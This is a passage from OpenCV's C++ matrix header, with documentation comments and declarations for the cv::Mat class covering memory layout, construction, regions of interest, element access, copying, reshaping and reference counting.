\f$(i_0,...,i_{M.dims-1})\f$, where \f$0\leq i_k<M.size[k]\f$, is computed as: \f[addr(M_{i_0,...,i_{M.dims-1}}) = M.data + M.step[0]*i_0 + M.step[1]*i_1 + ... + M.step[M.dims-1]*i_{M.dims-1}\f] In case of a 2-dimensional array, the above formula is reduced to: \f[addr(M_{i,j}) = M.data + M.step[0]*i + M.step[1]*j\f] Note that `M.step[i] >= M.step[i+1]` (in fact, `M.step[i] >= M.step[i+1]*M.size[i+1]` ). This means that 2-dimensional matrices are stored row-by-row, 3-dimensional matrices are stored plane-by-plane, and so on. M.step[M.dims-1] is minimal and always equal to the element size M.elemSize() . So, the data layout in Mat is compatible with the majority of dense array types from the standard toolkits and SDKs, such as Numpy (ndarray), Win32 (independent device bitmaps), and others, that is, with any array that uses *steps* (or *strides*) to compute the position of a pixel. Due to this compatibility, it is possible to make a Mat header for user-allocated data and process it in-place using OpenCV functions. There are many different ways to create a Mat object. The most popular options are listed below: - Use the create(nrows, ncols, type) method or the similar Mat(nrows, ncols, type[, fillValue]) constructor. A new array of the specified size and type is allocated. type has the same meaning as in the cvCreateMat method. For example, CV_8UC1 means a 8-bit single-channel array, CV_32FC2 means a 2-channel (complex) floating-point array, and so on. @code // make a 7x7 complex matrix filled with 1+3j. Mat M(7,7,CV_32FC2,Scalar(1,3)); // and now turn M to a 100x60 15-channel 8-bit matrix. // The old content will be deallocated M.create(100,60,CV_8UC(15)); @endcode As noted in the introduction to this chapter, create() allocates only a new array when the shape or type of the current array are different from the specified ones. - Create a multi-dimensional array: @code // create a 100x100x100 8-bit array int sz[] = {100, 100, 100}; Mat bigCube(3, sz, CV_8U, Scalar::all(0)); @endcode It passes the number of dimensions =1 to the Mat constructor but the created array will be 2-dimensional with the number of columns set to 1. So, Mat::dims is always \>= 2 (can also be 0 when the array is empty). - Use a copy constructor or assignment operator where there can be an array or expression on the right side (see below). As noted in the introduction, the array assignment is an O(1) operation because it only copies the header and increases the reference counter. The Mat::clone() method can be used to get a full (deep) copy of the array when you need it. - Construct a header for a part of another array. It can be a single row, single column, several rows, several columns, rectangular region in the array (called a *minor* in algebra) or a diagonal. Such operations are also O(1) because the new header references the same data. You can actually modify a part of the array using this feature, for example: @code // add the 5-th row, multiplied by 3 to the 3rd row M.row(3) = M.row(3) + M.row(5)*3; // now copy the 7-th column to the 1-st column // M.col(1) = M.col(7); // this will not work Mat M1 = M.col(1); M.col(7).copyTo(M1); // create a new 320x240 image Mat img(Size(320,240),CV_8UC3); // select a ROI Mat roi(img, Rect(10,10,100,100)); // fill the ROI with (0,255,0) (which is green in RGB space); // the original 320x240 image will be modified roi = Scalar(0,255,0); @endcode Due to the additional datastart and dataend members, it is possible to compute a relative sub-array position in the main *container* array using locateROI(): @code Mat A = Mat::eye(10, 10, CV_32S); // extracts A columns, 1 (inclusive) to 3 (exclusive). Mat B = A(Range::all(), Range(1, 3)); // extracts B rows, 5 (inclusive) to 9 (exclusive). // that is, C \~ A(Range(5, 9), Range(1, 3)) Mat C = B(Range(5, 9), Range::all()); Size size; Point ofs; C.locateROI(size, ofs); // size will be (width=10,height=10) and the ofs will be (x=1, y=5) @endcode As in case of whole matrices, if you need a deep copy, use the `clone()` method of the extracted sub-matrices. - Make a header for user-allocated data. It can be useful to do the following: -# Process "foreign" data using OpenCV (for example, when you implement a DirectShow\* filter or a processing module for gstreamer, and so on). For example: @code void process_video_frame(const unsigned char* pixels, int width, int height, int step) { Mat img(height, width, CV_8UC3, pixels, step); GaussianBlur(img, img, Size(7,7), 1.5, 1.5); } @endcode -# Quickly initialize small matrices and/or get a super-fast element access. @code double m[3][3] = {{a, b, c}, {d, e, f}, {g, h, i}}; Mat M = Mat(3, 3, CV_64F, m).inv(); @endcode . - Use MATLAB-style array initializers, zeros(), ones(), eye(), for example: @code // create a double-precision identity matrix and add it to M. M += Mat::eye(M.rows, M.cols, CV_64F); @endcode - Use a comma-separated initializer: @code // create a 3x3 double-precision identity matrix Mat M = (Mat_<double>(3,3) << 1, 0, 0, 0, 1, 0, 0, 0, 1); @endcode With this approach, you first call a constructor of the Mat class with the proper parameters, and then you just put `<< operator` followed by comma-separated values that can be constants, variables, expressions, and so on. Also, note the extra parentheses required to avoid compilation errors. Once the array is created, it is automatically managed via a reference-counting mechanism. If the array header is built on top of user-allocated data, you should handle the data by yourself. The array data is deallocated when no one points to it. If you want to release the data pointed by a array header before the array destructor is called, use Mat::release(). The next important thing to learn about the array class is element access. This manual already described how to compute an address of each array element. Normally, you are not required to use the formula directly in the code. If you know the array element type (which can be retrieved using the method Mat::type() ), you can access the element \f$M_{ij}\f$ of a 2-dimensional array as: @code M.at<double>(i,j) += 1.f; @endcode assuming that `M` is a double-precision floating-point array. There are several variants of the method at for a different number of dimensions. If you need to process a whole row of a 2D array, the most efficient way is to get the pointer to the row first, and then just use the plain C operator [] : @code // compute sum of positive matrix elements // (assuming that M is a double-precision matrix) double sum=0; for(int i = 0; i < M.rows; i++) { const double* Mi = M.ptr<double>(i); for(int j = 0; j < M.cols; j++) sum += std::max(Mi[j], 0.); } @endcode Some operations, like the one above, do not actually depend on the array shape. They just process elements of an array one by one (or elements from multiple arrays that have the same coordinates, for example, array addition). Such operations are called *element-wise*. It makes sense to check whether all the input/output arrays are continuous, namely, have no gaps at the end of each row. If yes, process them as a long single row: @code // compute the sum of positive matrix elements, optimized variant double sum=0; int cols = M.cols, rows = M.rows; if(M.isContinuous()) { cols *= rows; rows = 1; } for(int i = 0; i < rows; i++) { const double* Mi = M.ptr<double>(i); for(int j = 0; j < cols; j++) sum += std::max(Mi[j], 0.); } @endcode In case of the continuous matrix, the outer loop body is executed just once. So, the overhead is smaller, which is especially noticeable in case of small matrices. Finally, there are STL-style iterators that are smart enough to skip gaps between successive rows: @code // compute sum of positive matrix elements, iterator-based variant double sum=0; MatConstIterator_<double> it = M.begin<double>(), it_end = M.end<double>(); for(; it != it_end; ++it) sum += std::max(*it, 0.); @endcode The matrix iterators are random-access iterators, so they can be passed to any STL algorithm, including std::sort(). @note Matrix Expressions and arithmetic see MatExpr */ class CV_EXPORTS Mat { public: /** These are various constructors that form a matrix. As noted in the AutomaticAllocation, often the default constructor is enough, and the proper matrix will be allocated by an OpenCV function. The constructed matrix can further be assigned to another matrix or matrix expression or can be allocated with Mat::create . In the former case, the old content is de-referenced. */ Mat(); /** @overload @param rows Number of rows in a 2D array. @param cols Number of columns in a 2D array. @param type Array type. Use CV_8UC1, ..., CV_64FC4 to create 1-4 channel matrices, or CV_8UC(n), ..., CV_64FC(n) to create multi-channel (up to CV_CN_MAX channels) matrices. */ Mat(int rows, int cols, int type); /** @overload @param size 2D array size: Size(cols, rows) . In the Size() constructor, the number of rows and the number of columns go in the reverse order. @param type Array type. Use CV_8UC1, ..., CV_64FC4 to create 1-4 channel matrices, or CV_8UC(n), ..., CV_64FC(n) to create multi-channel (up to CV_CN_MAX channels) matrices. */ Mat(Size size, int type); /** @overload @param rows Number of rows in a 2D array. @param cols Number of columns in a 2D array. @param type Array type. Use CV_8UC1, ..., CV_64FC4 to create 1-4 channel matrices, or CV_8UC(n), ..., CV_64FC(n) to create multi-channel (up to CV_CN_MAX channels) matrices. @param s An optional value to initialize each matrix element with. To set all the matrix elements to the particular value after the construction, use the assignment operator Mat::operator=(const Scalar& value) . */ Mat(int rows, int cols, int type, const Scalar& s); /** @overload @param size 2D array size: Size(cols, rows) . In the Size() constructor, the number of rows and the number of columns go in the reverse order. @param type Array type. Use CV_8UC1, ..., CV_64FC4 to create 1-4 channel matrices, or CV_8UC(n), ..., CV_64FC(n) to create multi-channel (up to CV_CN_MAX channels) matrices. @param s An optional value to initialize each matrix element with. To set all the matrix elements to the particular value after the construction, use the assignment operator Mat::operator=(const Scalar& value) . */ Mat(Size size, int type, const Scalar& s); /** @overload @param ndims Array dimensionality. @param sizes Array of integers specifying an n-dimensional array shape. @param type Array type. Use CV_8UC1, ..., CV_64FC4 to create 1-4 channel matrices, or CV_8UC(n), ..., CV_64FC(n) to create multi-channel (up to CV_CN_MAX channels) matrices. */ Mat(int ndims, const int* sizes, int type); /** @overload @param sizes Array of integers specifying an n-dimensional array shape. @param type Array type. Use CV_8UC1, ..., CV_64FC4 to create 1-4 channel matrices, or CV_8UC(n), ..., CV_64FC(n) to create multi-channel (up to CV_CN_MAX channels) matrices. */ Mat(const std::vector<int>& sizes, int type); /** @overload @param ndims Array dimensionality. @param sizes Array of integers specifying an n-dimensional array shape. @param type Array type. Use CV_8UC1, ..., CV_64FC4 to create 1-4 channel matrices, or CV_8UC(n), ..., CV_64FC(n) to create multi-channel (up to CV_CN_MAX channels) matrices. @param s An optional value to initialize each matrix element with. To set all the matrix elements to the particular value after the construction, use the assignment operator Mat::operator=(const Scalar& value) . */ Mat(int ndims, const int* sizes, int type, const Scalar& s); /** @overload @param sizes Array of integers specifying an n-dimensional array shape. @param type Array type. Use CV_8UC1, ..., CV_64FC4 to create 1-4 channel matrices, or CV_8UC(n), ..., CV_64FC(n) to create multi-channel (up to CV_CN_MAX channels) matrices. @param s An optional value to initialize each matrix element with. To set all the matrix elements to the particular value after the construction, use the assignment operator Mat::operator=(const Scalar& value) . */ Mat(const std::vector<int>& sizes, int type, const Scalar& s); /** @overload @param m Array that (as a whole or partly) is assigned to the constructed matrix. No data is copied by these constructors. Instead, the header pointing to m data or its sub-array is constructed and associated with it. The reference counter, if any, is incremented. So, when you modify the matrix formed using such a constructor, you also modify the corresponding elements of m . If you want to have an independent copy of the sub-array, use Mat::clone() . */ Mat(const Mat& m); /** @overload @param rows Number of rows in a 2D array. @param cols Number of columns in a 2D array. @param type Array type. Use CV_8UC1, ..., CV_64FC4 to create 1-4 channel matrices, or CV_8UC(n), ..., CV_64FC(n) to create multi-channel (up to CV_CN_MAX channels) matrices. @param data Pointer to the user data. Matrix constructors that take data and step parameters do not allocate matrix data. Instead, they just initialize the matrix header that points to the specified data, which means that no data is copied. This operation is very efficient and can be used to process external data using OpenCV functions. The external data is not automatically deallocated, so you should take care of it. @param step Number of bytes each matrix row occupies. The value should include the padding bytes at the end of each row, if any. If the parameter is missing (set to AUTO_STEP ), no padding is assumed and the actual step is calculated as cols*elemSize(). See Mat::elemSize. */ Mat(int rows, int cols, int type, void* data, size_t step=AUTO_STEP); /** @overload @param size 2D array size: Size(cols, rows) . In the Size() constructor, the number of rows and the number of columns go in the reverse order. @param type Array type. Use CV_8UC1, ..., CV_64FC4 to create 1-4 channel matrices, or CV_8UC(n), ..., CV_64FC(n) to create multi-channel (up to CV_CN_MAX channels) matrices. @param data Pointer to the user data. Matrix constructors that take data and step parameters do not allocate matrix data. Instead, they just initialize the matrix header that points to the specified data, which means that no data is copied. This operation is very efficient and can be used to process external data using OpenCV functions. The external data is not automatically deallocated, so you should take care of it. @param step Number of bytes each matrix row occupies. The value should include the padding bytes at the end of each row, if any. If the parameter is missing (set to AUTO_STEP ), no padding is assumed and the actual step is calculated as cols*elemSize(). See Mat::elemSize. */ Mat(Size size, int type, void* data, size_t step=AUTO_STEP); /** @overload @param ndims Array dimensionality. @param sizes Array of integers specifying an n-dimensional array shape. @param type Array type. Use CV_8UC1, ..., CV_64FC4 to create 1-4 channel matrices, or CV_8UC(n), ..., CV_64FC(n) to create multi-channel (up to CV_CN_MAX channels) matrices. @param data Pointer to the user data. Matrix constructors that take data and step parameters do not allocate matrix data. Instead, they just initialize the matrix header that points to the specified data, which means that no data is copied. This operation is very efficient and can be used to process external data using OpenCV functions. The external data is not automatically deallocated, so you should take care of it. @param steps Array of ndims-1 steps in case of a multi-dimensional array (the last step is always set to the element size). If not specified, the matrix is assumed to be continuous. */ Mat(int ndims, const int* sizes, int type, void* data, const size_t* steps=0); /** @overload @param sizes Array of integers specifying an n-dimensional array shape. @param type Array type. Use CV_8UC1, ..., CV_64FC4 to create 1-4 channel matrices, or CV_8UC(n), ..., CV_64FC(n) to create multi-channel (up to CV_CN_MAX channels) matrices. @param data Pointer to the user data. Matrix constructors that take data and step parameters do not allocate matrix data. Instead, they just initialize the matrix header that points to the specified data, which means that no data is copied. This operation is very efficient and can be used to process external data using OpenCV functions. The external data is not automatically deallocated, so you should take care of it. @param steps Array of ndims-1 steps in case of a multi-dimensional array (the last step is always set to the element size). If not specified, the matrix is assumed to be continuous. */ Mat(const std::vector<int>& sizes, int type, void* data, const size_t* steps=0); /** @overload @param m Array that (as a whole or partly) is assigned to the constructed matrix. No data is copied by these constructors. Instead, the header pointing to m data or its sub-array is constructed and associated with it. The reference counter, if any, is incremented. So, when you modify the matrix formed using such a constructor, you also modify the corresponding elements of m . If you want to have an independent copy of the sub-array, use Mat::clone() . @param rowRange Range of the m rows to take. As usual, the range start is inclusive and the range end is exclusive. Use Range::all() to take all the rows. @param colRange Range of the m columns to take. Use Range::all() to take all the columns. */ Mat(const Mat& m, const Range& rowRange, const Range& colRange=Range::all()); /** @overload @param m Array that (as a whole or partly) is assigned to the constructed matrix. No data is copied by these constructors. Instead, the header pointing to m data or its sub-array is constructed and associated with it. The reference counter, if any, is incremented. So, when you modify the matrix formed using such a constructor, you also modify the corresponding elements of m . If you want to have an independent copy of the sub-array, use Mat::clone() . @param roi Region of interest. */ Mat(const Mat& m, const Rect& roi); /** @overload @param m Array that (as a whole or partly) is assigned to the constructed matrix. No data is copied by these constructors. Instead, the header pointing to m data or its sub-array is constructed and associated with it. The reference counter, if any, is incremented. So, when you modify the matrix formed using such a constructor, you also modify the corresponding elements of m . If you want to have an independent copy of the sub-array, use Mat::clone() . @param ranges Array of selected ranges of m along each dimensionality. */ Mat(const Mat& m, const Range* ranges); /** @overload @param m Array that (as a whole or partly) is assigned to the constructed matrix. No data is copied by these constructors. Instead, the header pointing to m data or its sub-array is constructed and associated with it. The reference counter, if any, is incremented. So, when you modify the matrix formed using such a constructor, you also modify the corresponding elements of m . If you want to have an independent copy of the sub-array, use Mat::clone() . @param ranges Array of selected ranges of m along each dimensionality. */ Mat(const Mat& m, const std::vector<Range>& ranges); /** @overload @param vec STL vector whose elements form the matrix. The matrix has a single column and the number of rows equal to the number of vector elements. Type of the matrix matches the type of vector elements. The constructor can handle arbitrary types, for which there is a properly declared DataType . This means that the vector elements must be primitive numbers or uni-type numerical tuples of numbers. Mixed-type structures are not supported. The corresponding constructor is explicit. Since STL vectors are not automatically converted to Mat instances, you should write Mat(vec) explicitly. Unless you copy the data into the matrix ( copyData=true ), no new elements will be added to the vector because it can potentially yield vector data reallocation, and, thus, the matrix data pointer will be invalid. @param copyData Flag to specify whether the underlying data of the STL vector should be copied to (true) or shared with (false) the newly constructed matrix. When the data is copied, the allocated buffer is managed using Mat reference counting mechanism. While the data is shared, the reference counter is NULL, and you should not deallocate the data until the matrix is not destructed. */ template<typename _Tp> explicit Mat(const std::vector<_Tp>& vec, bool copyData=false); /** @overload */ template<typename _Tp, typename = typename std::enable_if<std::is_arithmetic<_Tp>::value>::type> explicit Mat(const std::initializer_list<_Tp> list); /** @overload */ template<typename _Tp> explicit Mat(const std::initializer_list<int> sizes, const std::initializer_list<_Tp> list); /** @overload */ template<typename _Tp, size_t _Nm> explicit Mat(const std::array<_Tp, _Nm>& arr, bool copyData=false); /** @overload */ template<typename _Tp, int n> explicit Mat(const Vec<_Tp, n>& vec, bool copyData=true); /** @overload */ template<typename _Tp, int m, int n> explicit Mat(const Matx<_Tp, m, n>& mtx, bool copyData=true); /** @overload */ template<typename _Tp> explicit Mat(const Point_<_Tp>& pt, bool copyData=true); /** @overload */ template<typename _Tp> explicit Mat(const Point3_<_Tp>& pt, bool copyData=true); /** @overload */ template<typename _Tp> explicit Mat(const MatCommaInitializer_<_Tp>& commaInitializer); //! download data from GpuMat explicit Mat(const cuda::GpuMat& m); //! destructor - calls release() ~Mat(); /** @brief assignment operators These are available assignment operators. Since they all are very different, make sure to read the operator parameters description. @param m Assigned, right-hand-side matrix. Matrix assignment is an O(1) operation. This means that no data is copied but the data is shared and the reference counter, if any, is incremented. Before assigning new data, the old data is de-referenced via Mat::release . */ Mat& operator = (const Mat& m); /** @overload @param expr Assigned matrix expression object. As opposite to the first form of the assignment operation, the second form can reuse already allocated matrix if it has the right size and type to fit the matrix expression result. It is automatically handled by the real function that the matrix expressions is expanded to. For example, C=A+B is expanded to add(A, B, C), and add takes care of automatic C reallocation. */ Mat& operator = (const MatExpr& expr); //! retrieve UMat from Mat UMat getUMat(AccessFlag accessFlags, UMatUsageFlags usageFlags = USAGE_DEFAULT) const; /** @brief Creates a matrix header for the specified matrix row. The method makes a new header for the specified matrix row and returns it. This is an O(1) operation, regardless of the matrix size. The underlying data of the new matrix is shared with the original matrix. Here is the example of one of the classical basic matrix processing operations, axpy, used by LU and many other algorithms: @code inline void matrix_axpy(Mat& A, int i, int j, double alpha) { A.row(i) += A.row(j)*alpha; } @endcode @note In the current implementation, the following code does not work as expected: @code Mat A; ... A.row(i) = A.row(j); // will not work @endcode This happens because A.row(i) forms a temporary header that is further assigned to another header. Remember that each of these operations is O(1), that is, no data is copied. Thus, the above assignment is not true if you may have expected the j-th row to be copied to the i-th row. To achieve that, you should either turn this simple assignment into an expression or use the Mat::copyTo method: @code Mat A; ... // works, but looks a bit obscure. A.row(i) = A.row(j) + 0; // this is a bit longer, but the recommended method. A.row(j).copyTo(A.row(i)); @endcode @param y A 0-based row index. */ Mat row(int y) const; /** @brief Creates a matrix header for the specified matrix column. The method makes a new header for the specified matrix column and returns it. This is an O(1) operation, regardless of the matrix size. The underlying data of the new matrix is shared with the original matrix. See also the Mat::row description. @param x A 0-based column index. */ Mat col(int x) const; /** @brief Creates a matrix header for the specified row span. The method makes a new header for the specified row span of the matrix. Similarly to Mat::row and Mat::col , this is an O(1) operation. @param startrow An inclusive 0-based start index of the row span. @param endrow An exclusive 0-based ending index of the row span. */ Mat rowRange(int startrow, int endrow) const; /** @overload @param r Range structure containing both the start and the end indices. */ Mat rowRange(const Range& r) const; /** @brief Creates a matrix header for the specified column span. The method makes a new header for the specified column span of the matrix. Similarly to Mat::row and Mat::col , this is an O(1) operation. @param startcol An inclusive 0-based start index of the column span. @param endcol An exclusive 0-based ending index of the column span. */ Mat colRange(int startcol, int endcol) const; /** @overload @param r Range structure containing both the start and the end indices. */ Mat colRange(const Range& r) const; /** @brief Extracts a diagonal from a matrix The method makes a new header for the specified matrix diagonal. The new matrix is represented as a single-column matrix. Similarly to Mat::row and Mat::col, this is an O(1) operation. @param d index of the diagonal, with the following values: - `d=0` is the main diagonal. - `d<0` is a diagonal from the lower half. For example, d=-1 means the diagonal is set immediately below the main one. - `d>0` is a diagonal from the upper half. For example, d=1 means the diagonal is set immediately above the main one. For example: @code Mat m = (Mat_<int>(3,3) << 1,2,3, 4,5,6, 7,8,9); Mat d0 = m.diag(0); Mat d1 = m.diag(1); Mat d_1 = m.diag(-1); @endcode The resulting matrices are @code d0 = [1; 5; 9] d1 = [2; 6] d_1 = [4; 8] @endcode */ Mat diag(int d=0) const; /** @brief creates a diagonal matrix The method creates a square diagonal matrix from specified main diagonal. @param d One-dimensional matrix that represents the main diagonal. */ static Mat diag(const Mat& d); /** @brief Creates a full copy of the array and the underlying data. The method creates a full copy of the array. The original step[] is not taken into account. So, the array copy is a continuous array occupying total()*elemSize() bytes. */ Mat clone() const CV_NODISCARD; /** @brief Copies the matrix to another one. The method copies the matrix data to another matrix. Before copying the data, the method invokes : @code m.create(this->size(), this->type()); @endcode so that the destination matrix is reallocated if needed. While m.copyTo(m); works flawlessly, the function does not handle the case of a partial overlap between the source and the destination matrices. When the operation mask is specified, if the Mat::create call shown above reallocates the matrix, the newly allocated matrix is initialized with all zeros before copying the data. @param m Destination matrix. If it does not have a proper size or type before the operation, it is reallocated. */ void copyTo( OutputArray m ) const; /** @overload @param m Destination matrix. If it does not have a proper size or type before the operation, it is reallocated. @param mask Operation mask of the same size as \*this. Its non-zero elements indicate which matrix elements need to be copied. The mask has to be of type CV_8U and can have 1 or multiple channels. */ void copyTo( OutputArray m, InputArray mask ) const; /** @brief Converts an array to another data type with optional scaling. The method converts source pixel values to the target data type. saturate_cast\<\> is applied at the end to avoid possible overflows: \f[m(x,y) = saturate \_ cast<rType>( \alpha (*this)(x,y) + \beta )\f] @param m output matrix; if it does not have a proper size or type before the operation, it is reallocated. @param rtype desired output matrix type or, rather, the depth since the number of channels are the same as the input has; if rtype is negative, the output matrix will have the same type as the input. @param alpha optional scale factor. @param beta optional delta added to the scaled values. */ void convertTo( OutputArray m, int rtype, double alpha=1, double beta=0 ) const; /** @brief Provides a functional form of convertTo. This is an internally used method called by the @ref MatrixExpressions engine. @param m Destination array. @param type Desired destination array depth (or -1 if it should be the same as the source type). */ void assignTo( Mat& m, int type=-1 ) const; /** @brief Sets all or some of the array elements to the specified value. @param s Assigned scalar converted to the actual array type. */ Mat& operator = (const Scalar& s); /** @brief Sets all or some of the array elements to the specified value. This is an advanced variant of the Mat::operator=(const Scalar& s) operator. @param value Assigned scalar converted to the actual array type. @param mask Operation mask of the same size as \*this. Its non-zero elements indicate which matrix elements need to be copied. The mask has to be of type CV_8U and can have 1 or multiple channels */ Mat& setTo(InputArray value, InputArray mask=noArray()); /** @brief Changes the shape and/or the number of channels of a 2D matrix without copying the data. The method makes a new matrix header for \*this elements. The new matrix may have a different size and/or different number of channels. Any combination is possible if: - No extra elements are included into the new matrix and no elements are excluded. Consequently, the product rows\*cols\*channels() must stay the same after the transformation. - No data is copied. That is, this is an O(1) operation. Consequently, if you change the number of rows, or the operation changes the indices of elements row in some other way, the matrix must be continuous. See Mat::isContinuous . For example, if there is a set of 3D points stored as an STL vector, and you want to represent the points as a 3xN matrix, do the following: @code std::vector<Point3f> vec; ... Mat pointMat = Mat(vec). // convert vector to Mat, O(1) operation reshape(1). // make Nx3 1-channel matrix out of Nx1 3-channel. // Also, an O(1) operation t(); // finally, transpose the Nx3 matrix. // This involves copying all the elements @endcode @param cn New number of channels. If the parameter is 0, the number of channels remains the same. @param rows New number of rows. If the parameter is 0, the number of rows remains the same. */ Mat reshape(int cn, int rows=0) const; /** @overload */ Mat reshape(int cn, int newndims, const int* newsz) const; /** @overload */ Mat reshape(int cn, const std::vector<int>& newshape) const; /** @brief Transposes a matrix. The method performs matrix transposition by means of matrix expressions. It does not perform the actual transposition but returns a temporary matrix transposition object that can be further used as a part of more complex matrix expressions or can be assigned to a matrix: @code Mat A1 = A + Mat::eye(A.size(), A.type())*lambda; Mat C = A1.t()*A1; // compute (A + lambda*I)^t * (A + lamda*I) @endcode */ MatExpr t() const; /** @brief Inverses a matrix. The method performs a matrix inversion by means of matrix expressions. This means that a temporary matrix inversion object is returned by the method and can be used further as a part of more complex matrix expressions or can be assigned to a matrix. @param method Matrix inversion method. One of cv::DecompTypes */ MatExpr inv(int method=DECOMP_LU) const; /** @brief Performs an element-wise multiplication or division of the two matrices. The method returns a temporary object encoding per-element array multiplication, with optional scale. Note that this is not a matrix multiplication that corresponds to a simpler "\*" operator. Example: @code Mat C = A.mul(5/B); // equivalent to divide(A, B, C, 5) @endcode @param m Another array of the same type and the same size as \*this, or a matrix expression. @param scale Optional scale factor. */ MatExpr mul(InputArray m, double scale=1) const; /** @brief Computes a cross-product of two 3-element vectors. The method computes a cross-product of two 3-element vectors. The vectors must be 3-element floating-point vectors of the same shape and size. The result is another 3-element vector of the same shape and type as operands. @param m Another cross-product operand. */ Mat cross(InputArray m) const; /** @brief Computes a dot-product of two vectors. The method computes a dot-product of two matrices. If the matrices are not single-column or single-row vectors, the top-to-bottom left-to-right scan ordering is used to treat them as 1D vectors. The vectors must have the same size and type. If the matrices have more than one channel, the dot products from all the channels are summed together. @param m another dot-product operand. */ double dot(InputArray m) const; /** @brief Returns a zero array of the specified size and type. The method returns a Matlab-style zero array initializer. It can be used to quickly form a constant array as a function parameter, part of a matrix expression, or as a matrix initializer: @code Mat A; A = Mat::zeros(3, 3, CV_32F); @endcode In the example above, a new matrix is allocated only if A is not a 3x3 floating-point matrix. Otherwise, the existing matrix A is filled with zeros. @param rows Number of rows. @param cols Number of columns. @param type Created matrix type. */ static MatExpr zeros(int rows, int cols, int type); /** @overload @param size Alternative to the matrix size specification Size(cols, rows) . @param type Created matrix type. */ static MatExpr zeros(Size size, int type); /** @overload @param ndims Array dimensionality. @param sz Array of integers specifying the array shape. @param type Created matrix type. */ static MatExpr zeros(int ndims, const int* sz, int type); /** @brief Returns an array of all 1's of the specified size and type. The method returns a Matlab-style 1's array initializer, similarly to Mat::zeros. Note that using this method you can initialize an array with an arbitrary value, using the following Matlab idiom: @code Mat A = Mat::ones(100, 100, CV_8U)*3; // make 100x100 matrix filled with 3. @endcode The above operation does not form a 100x100 matrix of 1's and then multiply it by 3. Instead, it just remembers the scale factor (3 in this case) and use it when actually invoking the matrix initializer. @note In case of multi-channels type, only the first channel will be initialized with 1's, the others will be set to 0's. @param rows Number of rows. @param cols Number of columns. @param type Created matrix type. */ static MatExpr ones(int rows, int cols, int type); /** @overload @param size Alternative to the matrix size specification Size(cols, rows) . @param type Created matrix type. */ static MatExpr ones(Size size, int type); /** @overload @param ndims Array dimensionality. @param sz Array of integers specifying the array shape. @param type Created matrix type. */ static MatExpr ones(int ndims, const int* sz, int type); /** @brief Returns an identity matrix of the specified size and type. The method returns a Matlab-style identity matrix initializer, similarly to Mat::zeros. Similarly to Mat::ones, you can use a scale operation to create a scaled identity matrix efficiently: @code // make a 4x4 diagonal matrix with 0.1's on the diagonal. Mat A = Mat::eye(4, 4, CV_32F)*0.1; @endcode @note In case of multi-channels type, identity matrix will be initialized only for the first channel, the others will be set to 0's @param rows Number of rows. @param cols Number of columns. @param type Created matrix type. */ static MatExpr eye(int rows, int cols, int type); /** @overload @param size Alternative matrix size specification as Size(cols, rows) . @param type Created matrix type. */ static MatExpr eye(Size size, int type); /** @brief Allocates new array data if needed. This is one of the key Mat methods. Most new-style OpenCV functions and methods that produce arrays call this method for each output array. The method uses the following algorithm: -# If the current array shape and the type match the new ones, return immediately. Otherwise, de-reference the previous data by calling Mat::release. -# Initialize the new header. -# Allocate the new data of total()\*elemSize() bytes. -# Allocate the new, associated with the data, reference counter and set it to 1. Such a scheme makes the memory management robust and efficient at the same time and helps avoid extra typing for you. This means that usually there is no need to explicitly allocate output arrays. That is, instead of writing: @code Mat color; ... Mat gray(color.rows, color.cols, color.depth()); cvtColor(color, gray, COLOR_BGR2GRAY); @endcode you can simply write: @code Mat color; ... Mat gray; cvtColor(color, gray, COLOR_BGR2GRAY); @endcode because cvtColor, as well as the most of OpenCV functions, calls Mat::create() for the output array internally. @param rows New number of rows. @param cols New number of columns. @param type New matrix type. */ void create(int rows, int cols, int type); /** @overload @param size Alternative new matrix size specification: Size(cols, rows) @param type New matrix type. */ void create(Size size, int type); /** @overload @param ndims New array dimensionality. @param sizes Array of integers specifying a new array shape. @param type New matrix type. */ void create(int ndims, const int* sizes, int type); /** @overload @param sizes Array of integers specifying a new array shape. @param type New matrix type. */ void create(const std::vector<int>& sizes, int type); /** @brief Increments the reference counter. The method increments the reference counter associated with the matrix data. If the matrix header points to an external data set (see Mat::Mat ), the reference counter is NULL, and the method has no effect in this case. Normally, to avoid memory leaks, the method should not be called explicitly. It is called implicitly by the matrix assignment operator. The reference counter increment is an atomic operation on the platforms that support it. Thus, it is safe to operate on the same matrices asynchronously in different threads. */ void addref(); /** @brief Decrements the reference counter and deallocates the matrix if needed. The method decrements the reference counter associated with the matrix data. When the reference counter reaches 0, the matrix data is deallocated and the data and the reference counter pointers are set to NULL's. If the matrix header points to an external data set (see Mat::Mat ), the reference counter is NULL, and the method has no effect in this case. This method can be called manually to force the matrix data deallocation. But since this method is automatically called in the destructor, or by any other method that changes the data pointer, it is usually not needed. The reference counter decrement and check for 0 is an atomic operation on the platforms that support it. Thus, it is safe to operate on the same matrices asynchronously in different threads. */ void release(); //! internal use function, consider to use 'release' method instead; deallocates the matrix data void deallocate(); //! internal use function; properly re-allocates _size, _step arrays void copySize(const Mat& m); /** @brief Reserves space for the certain number of rows. The method reserves space for sz rows. If the matrix already has enough space to store sz rows, nothing happens. If the matrix is reallocated, the first Mat::rows rows are preserved. The method emulates the corresponding method of the STL vector class. @param sz Number of rows. */ void reserve(size_t sz); /** @brief Reserves space for the certain number of bytes. The method reserves space for sz bytes. If the matrix already has enough space to store sz bytes, nothing happens. If matrix has to be reallocated its previous content could be lost. @param sz Number of bytes. */ void reserveBuffer(size_t sz); /** @brief Changes the number of matrix rows. The methods change the number of matrix rows. If the matrix is reallocated, the first min(Mat::rows, sz) rows are preserved. The methods emulate the corresponding methods of the STL vector class. @param sz New number of rows. */ void resize(size_t sz); /** @overload @param sz New number of rows. @param s Value assigned to the newly added elements. */ void resize(size_t sz, const Scalar& s); //! internal function void push_back_(const void* elem); /** @brief Adds elements to the bottom of the matrix. The methods add one or more elements to the bottom of the matrix. They emulate the corresponding method of the STL vector class. When elem is Mat , its type and the number of columns must be the same as in the container matrix. @param elem Added element(s). */ template<typename _Tp> void push_back(const _Tp& elem); /** @overload @param elem Added element(s). */ template<typename _Tp> void push_back(const Mat_<_Tp>& elem); /** @overload @param elem Added element(s). */ template<typename _Tp> void push_back(const std::vector<_Tp>& elem); /** @overload @param m Added line(s). */ void push_back(const Mat& m); /** @brief Removes elements from the bottom of the matrix. The method removes one or more rows from the bottom of the matrix. @param nelems Number of removed rows. If it is greater than the total number of rows, an exception is thrown. */ void pop_back(size_t nelems=1); /** @brief Locates the matrix header within a parent matrix. After you extracted a submatrix from a matrix using Mat::row, Mat::col, Mat::rowRange, Mat::colRange, and others, the resultant submatrix points just to the part of the original big matrix. However, each submatrix contains information (represented by datastart and dataend fields) that helps reconstruct the original matrix size and the position of the extracted submatrix within the original matrix. The method locateROI does exactly that. @param wholeSize Output parameter 